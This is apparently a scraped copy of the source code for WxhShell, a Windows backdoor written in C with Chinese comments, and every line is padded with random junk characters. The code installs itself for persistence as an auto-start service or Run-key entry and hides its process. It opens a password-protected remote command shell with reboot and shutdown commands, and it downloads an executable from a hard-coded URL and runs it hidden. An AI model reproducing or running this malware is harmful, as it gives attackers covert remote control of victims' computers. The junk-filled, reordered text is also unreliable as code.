DWORD BasePriority; TH)gW
ULONG UniqueProcessId; Yv9(8
ULONG InheritedFromUniqueProcessId; 1d|+7
} PROCESS_BASIC_INFORMATION; 1I KDp]SN
(ui"vLk8PP
PROCNTQSIP NtQueryInformationProcess; Z KnEg2a
eUVE8pZl
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F)lDK.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rjQV;kX>
&~G>pvZ
HANDLE hProcess; \x)T_]Gcm
PROCESS_BASIC_INFORMATION pbi; 3Zdkf]Gh
>va#PFHA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lW?}jzuo
if(NULL == hInst ) return 0; &iL"=\#
3yDa5q{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s{KwO+ UW
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
6I72;e^!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4'?kyTO~
Fc7mAV=
if (!NtQueryInformationProcess) return 0; @xB"9s
{?l#*XH;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `*8p T
if(!hProcess) return 0; z`xdRe{QP
ed2QGTgR
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~DhYiOSo
uOs
8|pj,
CloseHandle(hProcess); {Aj}s3v
CG@ LYN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OYgD9T.8^
if(hProcess==NULL) return 0; ]k]P (w
3uz@JY"mK
HMODULE hMod; :Y0*P
char procName[255]; :|M0n%-X
unsigned long cbNeeded; STL_#|[RM
%rzC+=*;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &$qqF&
<E|i3\[p
CloseHandle(hProcess); g,7`emOX
pz6fL=Xd
if(strstr(procName,"services")) return 1; // 以服务启动 ,*Tf9=z
]P<u^ `{*
return 0; // 注册表启动 k!>MZ
} U{} bx
e54wAypPOl
// 主模块 \&`S~c V9
int StartWxhshell(LPSTR lpCmdLine) =m:xf&r#
{ ^9%G7J:vGO
SOCKET wsl; * h!gjbi
BOOL val=TRUE; [DC8X P5<
int port=0; !=3[Bm G
struct sockaddr_in door; (xBS~}e
G ?jKm_`L
if(wscfg.ws_autoins) Install(); $5jQm,V$K
']WS@MbJ
port=atoi(lpCmdLine); 9i*t3W71]
-uIu-a]
if(port<=0) port=wscfg.ws_port; Kp'_lKW)]q
`|Pfa
WSADATA data; @#hd8_)A.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [fiB!G]?
}A\s`Hm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LuM:dJ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T!0o(Pp<
door.sin_family = AF_INET; 'G;y!<a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l=ehoyER
door.sin_port = htons(port); C#d.3t
"SJp9s3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hOw
closesocket(wsl); zP$0B!9
return 1; epuN~T
} /'k4NXnW3
<E/4/
ANN
if(listen(wsl,2) == INVALID_SOCKET) { &TJMop Vn
closesocket(wsl); ]rGZ
return 1; ~~>`WA\G5,
} QVLv}w`O
Wxhshell(wsl); 7DZxrVw
WSACleanup(); ecaEWIOG
#JMww
return 0; zGzeu)d
kZ7\zbN>
} hEUS&`K
~Cc%!4f'
// 以NT服务方式启动 nb-]fa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }p,#rOX:A
{ p+M#hF5o
DWORD status = 0; S:2M9nC
DWORD specificError = 0xfffffff; z ntvKOIh
RP[^1
serviceStatus.dwServiceType = SERVICE_WIN32; 1<|\df.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; v~E\u
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?.Iau/
serviceStatus.dwWin32ExitCode = 0; Qp>'V<%m-
serviceStatus.dwServiceSpecificExitCode = 0; 2L!s'^m-
serviceStatus.dwCheckPoint = 0; A c^hZ.qPz
serviceStatus.dwWaitHint = 0; 7`eg;s^
(sM$=M<$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qZQB"Q.*
if (hServiceStatusHandle==0) return; mq#8[D
*<r\:g
status = GetLastError(); P+ejyl,
if (status!=NO_ERROR) #h=pU/R
{ a|}v?z\
serviceStatus.dwCurrentState = SERVICE_STOPPED; @S?`!=M
serviceStatus.dwCheckPoint = 0; Q9T/@FX
serviceStatus.dwWaitHint = 0; `U4e]Qh/+
serviceStatus.dwWin32ExitCode = status; m[aBHA^g
serviceStatus.dwServiceSpecificExitCode = specificError; VT ikLuH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]gj:6M
return; +az=EF
} z`]sWi F0
QC\r|RXW
serviceStatus.dwCurrentState = SERVICE_RUNNING; #su R[K*S
serviceStatus.dwCheckPoint = 0; Z7]["
serviceStatus.dwWaitHint = 0; gvzBV
+3'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GN1Q\8)o
} %Z~0vwY
&VPfI
// 处理NT服务事件,比如:启动、停止 (#e,tu
VOID WINAPI NTServiceHandler(DWORD fdwControl) N[=c|frho
{ K&"ZZFd_
switch(fdwControl) itYTV?bd
{
]v2%h X
case SERVICE_CONTROL_STOP:
cG)U01/"
serviceStatus.dwWin32ExitCode = 0; C>NLZMT
serviceStatus.dwCurrentState = SERVICE_STOPPED; F)8M9%g5m
serviceStatus.dwCheckPoint = 0; shkyN
serviceStatus.dwWaitHint = 0; E+Eug{+
{ WRCf[5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a~*wZJ
} .@KI,_X6,
return; oaac.7.fV
case SERVICE_CONTROL_PAUSE: Jb;@'o6
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7&`Yl[G
break; c`Q#4e]%_
case SERVICE_CONTROL_CONTINUE: z( !K8
T
serviceStatus.dwCurrentState = SERVICE_RUNNING; O'rz
break; \Gl>$5np
case SERVICE_CONTROL_INTERROGATE: `8 Ann~Z|k
break; PAD&sTjE*
}; Q]1s*P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yDapl(
} e6`g[Ap
6N\f>c
// 标准应用程序主函数 [AHoTlPZ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S1I# qb
{ q<XleC
f]4j7K!e]
// 获取操作系统版本 r }S>t~p:
OsIsNt=GetOsVer(); j^5VmG
GetModuleFileName(NULL,ExeFile,MAX_PATH); |=u
}1G?
aN5"[&
// 从命令行安装 [,yYr
if(strpbrk(lpCmdLine,"iI")) Install(); @1vpkB~ w
)+ (GE
// 下载执行文件 Bo+Yu(|cL
if(wscfg.ws_downexe) { Je*hyi7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }PUY~
u
WinExec(wscfg.ws_filenam,SW_HIDE); P.
Kfoos
} Oh=E!
*<ILSZ
if(!OsIsNt) { 230ijq3YG
// 如果时win9x,隐藏进程并且设置为注册表启动 Ud:;kI%Vj
HideProc(); ThiM6Hb
StartWxhshell(lpCmdLine); U[O7}Nsb"
} o_C]O"
else (z.4er}o
if(StartFromService()) 'H8b+
// 以服务方式启动 >F5E^DY
StartServiceCtrlDispatcher(DispatchTable); ^k2g60]
else *{!E`),FX
// 普通方式启动 e3.q8r
StartWxhshell(lpCmdLine); M@]@1Q.p
RI2/hrW
return 0; =#T3p9
} (`"87Xomnn
U|~IJU3-
!g[UFw
E#n=aY~u-
=========================================== Dqg01_O9O
F-=Xbyr3@
&HBC9Bx/(
XK{K FB-
e~ %=H 0n
Z,I0<ecaD
" B8`!A
~.$ca.Gf
#include <stdio.h> @[v4[yq-
#include <string.h> *J3Z.fq%:i
#include <windows.h> 'FM_5`&
#include <winsock2.h> #i 5@G*
#include <winsvc.h> 888"X3.T
#include <urlmon.h> ms6dl-_t
PI&@/+
#pragma comment (lib, "Ws2_32.lib") ,5}")T["u
#pragma comment (lib, "urlmon.lib") E?(:9#02
E_H.!pr
#define MAX_USER 100 // 最大客户端连接数 P TH'-G
#define BUF_SOCK 200 // sock buffer -\&b&; _
#define KEY_BUFF 255 // 输入 buffer LMRq.wxbbB
J-ErG!
#define REBOOT 0 // 重启 `u"
)*Q}
#define SHUTDOWN 1 // 关机 wCt!.<, .
'M35L30
#define DEF_PORT 5000 // 监听端口 f{j`d&|
]D<3yIGS
#define REG_LEN 16 // 注册表键长度 m](q,65 2
#define SVC_LEN 80 // NT服务名长度
JN-W`2
-ZH6*7!
// 从dll定义API HX#$ ^@Q(
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,CIsZ1[VS
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KkZS 6rD\
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &hnKBr(Lw
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L=&dJpyfT
y q6:7<
// wxhshell配置信息 %\B@!4]
struct WSCFG { `Y,<[ Lnr
int ws_port; // 监听端口 6&KcO:}-
char ws_passstr[REG_LEN]; // 口令 ^WUG\@B
int ws_autoins; // 安装标记, 1=yes 0=no 5Ve
T8/7Q
char ws_regname[REG_LEN]; // 注册表键名 #{g6'9PMz
char ws_svcname[REG_LEN]; // 服务名 h3Y|0-D
char ws_svcdisp[SVC_LEN]; // 服务显示名 4tlLh`-8
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @DuSii#.S
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !h70 <Q^
int ws_downexe; // 下载执行标记, 1=yes 0=no ' 1D1y'
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %
U|4%P
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J3y4D}
2h#_n'DV
}; &+" )~2
+
j[|mC;y.
// default Wxhshell configuration ?sclOOh
struct WSCFG wscfg={DEF_PORT, 2`pg0ciX (
"xuhuanlingzhe", 4||dc}I"E
1, .&rL>A2U
"Wxhshell", "bA8NQIP
"Wxhshell", z+]YB5zK%
"WxhShell Service", l{t!
LTf;
"Wrsky Windows CmdShell Service", cm`x;[e6l
"Please Input Your Password: ", sEx`9_oZ
1, ~#|Pe1Y
"http://www.wrsky.com/wxhshell.exe", <CN+VXF
"Wxhshell.exe" I2)#."=Ew
}; C n.x:I@r
kZNVUhW6S
// 消息定义模块 jbTsrj"g
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wqA7_
-
char *msg_ws_prompt="\n\r? for help\n\r#>"; a1gaB:w5n
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V?N8 ,)j
char *msg_ws_ext="\n\rExit."; Mb'Tx
char *msg_ws_end="\n\rQuit."; nE=,=K~
char *msg_ws_boot="\n\rReboot..."; #_'|
TT>p#
char *msg_ws_poff="\n\rShutdown..."; '<Jqp7$dL
char *msg_ws_down="\n\rSave to "; 1(jDBP!8
c63yJqiW
char *msg_ws_err="\n\rErr!"; AZfW
char *msg_ws_ok="\n\rOK!"; 8}{W.np_
"w:?WS
char ExeFile[MAX_PATH]; !c;BOCqa
int nUser = 0; M1J77LfS8
HANDLE handles[MAX_USER]; \pVWYx
int OsIsNt; L]{1@~E:q
M`tNYs]V
SERVICE_STATUS serviceStatus; NH;.!xq:
SERVICE_STATUS_HANDLE hServiceStatusHandle; :7)lg iM2
V2IurDE
// 函数声明 p>= b|Qy|
int Install(void); 9;tY'32/
int Uninstall(void); {vU;(eN
int DownloadFile(char *sURL, SOCKET wsh); 0 ![
int Boot(int flag); 0%"sOth
void HideProc(void); Q3 yW#eD
int GetOsVer(void); (!0fmL
int Wxhshell(SOCKET wsl); %SJFuw"
void TalkWithClient(void *cs); j S<."a/n
int CmdShell(SOCKET sock); yR[htD`
int StartFromService(void); d'2q~
int StartWxhshell(LPSTR lpCmdLine); _!E)a
/Bp5^(s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^e(*{K;8
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'ARbJ1a
D\k'Eez
// 数据结构和表定义 mcq.*at
SERVICE_TABLE_ENTRY DispatchTable[] = LyG&FOf?
{ rvp#[RAaS}
{wscfg.ws_svcname, NTServiceMain}, [xH Hm5$
{NULL, NULL} MhZ\]CAs9
}; d#-'DO{k
rVv4R/3+
// 自我安装 R>R8LIZZc
int Install(void) ZHimS7
{ lC'U3Q&
char svExeFile[MAX_PATH]; =>X"
HKEY key; k@>y<A{;D
strcpy(svExeFile,ExeFile); tWaM+W
UB,:won
// 如果是win9x系统,修改注册表设为自启动 a}[ 1*_G
if(!OsIsNt) {
$M|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<Yz;\:Jy
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NM4b]>
RegCloseKey(key); +AYB0`X)
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ ^*;#[<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nj6|WJ
RegCloseKey(key); .^V9XN{'a
return 0; l#fwNM/F
} tFu"h1
} CJe~>4BT
} lky5%H
else { x`Jh NAO>
!dGSZ|YZ
// 如果是NT以上系统,安装为系统服务 Ft 6{g
JBG
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D2]i*gs
if (schSCManager!=0) dZ`c
{ >o )v
SC_HANDLE schService = CreateService dzs(sM=
( #H.DnW
schSCManager, A^vvw~!d
wscfg.ws_svcname, _m*FHi
wscfg.ws_svcdisp, A8T8+M:
SERVICE_ALL_ACCESS, K(}g!iT)~
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )6*)u/x:
SERVICE_AUTO_START,
IIO-Jr
SERVICE_ERROR_NORMAL, RiiwsnjC
svExeFile, P@FE3g
NULL, *u ]aWx
NULL, >,a$)z
NULL, <g1=jG:7k
NULL, &n~v;M
NULL /&+*X)#v
);
B6.9hf
if (schService!=0) \k.W
F|~
{ KZGy&u
>`
CloseServiceHandle(schService); r mJ`^6V
CloseServiceHandle(schSCManager); NM+(ss'
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $LW8 vo7
strcat(svExeFile,wscfg.ws_svcname); I6Ga'5bV
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W9:(P
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GD0Q`gWNe
RegCloseKey(key); OE=.@Ry"
return 0; hw2Sb,bY
} Zmz $
hr
} 8c%_R23
CloseServiceHandle(schSCManager); ~_a$5Y
} cf,^7,-`"
} A5go)~x\
'+v[z=.8]
return 1; _B7+n"t\r
} "=,IbC
)`K!XX$%
// 自我卸载 odKdpa
Zc[
int Uninstall(void) `y$@zT?j
{ szGGw
HKEY key; Ru@ { b`
ZKt`>KZ
if(!OsIsNt) { W~j>&PK,?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pvhN.z
RegDeleteValue(key,wscfg.ws_regname); '$5Qdaj
RegCloseKey(key); `J%35
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AmB*4p5b
RegDeleteValue(key,wscfg.ws_regname); WSbD."p<
RegCloseKey(key); [oOV@GE
return 0; a/xnf<(H
} "f:_(np,
} Ou{VDE
} zg$NrI&
else { / "@cv{
=F09@C,
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }#2I/dn
if (schSCManager!=0) 7V-uQ)*
{ i2E@5 v=|Y
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v(;n|=O
if (schService!=0) `]F#j ]"
{ Y2}m/7aF
if(DeleteService(schService)!=0) { 7 )*q@
CloseServiceHandle(schService); #|K5ma
CloseServiceHandle(schSCManager); |O{kv}YZ
return 0; xE-
_Fv9
} '?1g_C QsS
CloseServiceHandle(schService); )u1=, D
} LerRrN}~
CloseServiceHandle(schSCManager); B/I1<%Yk
} cnB:bQQK8
} b\p2yJ\
mD7kOOMY
return 1; 3&zcdwPj
} |?t}7V#[
{_ {zs!r
// 从指定url下载文件 vngn^2
int DownloadFile(char *sURL, SOCKET wsh) g\pLQH
{ }pKKNZ`[
HRESULT hr; R%6KxN)+@
char seps[]= "/"; GHpP
*x
char *token; 6|QIzs<Z-X
char *file; AbIYdFX B
char myURL[MAX_PATH]; MB+a?u0\
char myFILE[MAX_PATH]; A8
!&Y